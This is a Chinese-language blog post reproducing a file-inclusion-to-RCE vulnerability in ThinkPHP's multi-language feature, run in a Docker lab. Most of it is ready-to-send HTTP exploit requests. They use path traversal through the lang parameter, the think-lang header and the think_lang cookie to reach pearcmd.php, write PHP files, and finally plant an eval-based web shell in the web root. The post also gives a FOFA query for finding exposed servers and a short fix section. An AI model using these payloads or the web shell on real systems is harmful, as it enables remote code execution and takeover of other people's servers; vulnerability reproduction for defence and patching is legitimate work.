漏洞复现多语言文件包含漏洞分析

Posted 2022-12-30 kali_Ma

漏洞描述：

Thinkphp在开启多语言功能的情况下存在文件包含漏洞，攻击者可以通过get、header、cookie等位置传入参数，实现目录穿越+文件包含，通过pearcmd文件包含这个trick即可实现RCE。

影响版本：

6.0.1 < ThinkPHP≤ 6.0.13

5.0.0 < ThinkPHP≤ 5.0.12

5.1.0 < ThinkPHP≤ 5.1.8

利用条件：

1、需要Thinkphp开启多语言功能
2、安装pear扩展
3、知道pearcmd.php路径
4、register_argc_argv=on

FOFA搜索语法：

> header="think_lang"

环境搭建：

服务器首先要有docker环境，没有的可以先部署一个

1、docker直接拉取vulfocus 的thinkphp:6.0.12的漏洞环境镜像：

docker pull vulfocus/thinkphp:6.0.12

2、启动容器，将容器的80端口映射到本机的80端口

docker run  --nametp123 -p80:80 -d镜像id

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浏览器访问：ip+/public/index.php 如下图则搭建成功：

漏洞复现：

进入容器查看pearcmd.php路径，执行

find / -name pearcmd.php 2>/dev/null

/usr/local/lib/php/pearcmd.php

EXP：

在/tmp/下生成hello.php

GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close

进入容器查看/tmp/hellp.php

包含hello.php

GET /public/index.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../tmp/hello
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

看看浏览器页面成功执行phpinfo：

GET：

直接利用p牛文章中的请求包，需要根据实际情况改变文件名称，写不进去可以考虑多加点…/

创建文件

GET

/public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/1.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

进入容器查看：

文件包含/tmp/1.php

GET /public/index.php?lang=../../../../../../../../../../../../tmp/1 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

再看看浏览器页面，成功执行phpinfo：

HEADER：

创建文件

GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/2.php HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
think-lang:../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

进入容器查看：

文件包含/tmp/2.php

GET /public/index.php?lang=../../../../../../../../../../../../tmp/2 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

在看看浏览器页面成功执行phpinfo：

COOKIES：

创建文件

GET /public/index.php?+config-create+/&/<?=phpinfo()?>+/tmp/3.php HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd
Connection: close

repeater发包：

进入容器查看：

文件包含/tmp/3.php

GET /public/index.php?lang=../../../../../../../../../../../../tmp/3 HTTP/1.1
Host: 192.168.36.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Purpose: prefetch;prerender
Purpose: prefetch
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

在看看浏览器页面成功执行phpinfo：

GETSHELL

于是我梅开二度决定写入一个马子试试：

这次我们直接写到网站根目录（注：phpinfo可以查看网站绝对路径）

写入文件

GET

/public/index.php?lang=../../../../../../../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php
 HTTP/1.1
Host: 192.168.36.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cookie: think_lang=zh-cn
Connection: close

repeater发包：

浏览器访问：

蚁剑成功连接：

修复建议：

1、若无必要，可关闭多语言功能，可参考文档

https://www.kancloud.cn/manual/thinkphp6_0/1037637

https://static.kancloud.cn/manual/thinkphp5/118132

2、官方已发布6.0.14、5.1.42，建议升级至安全版本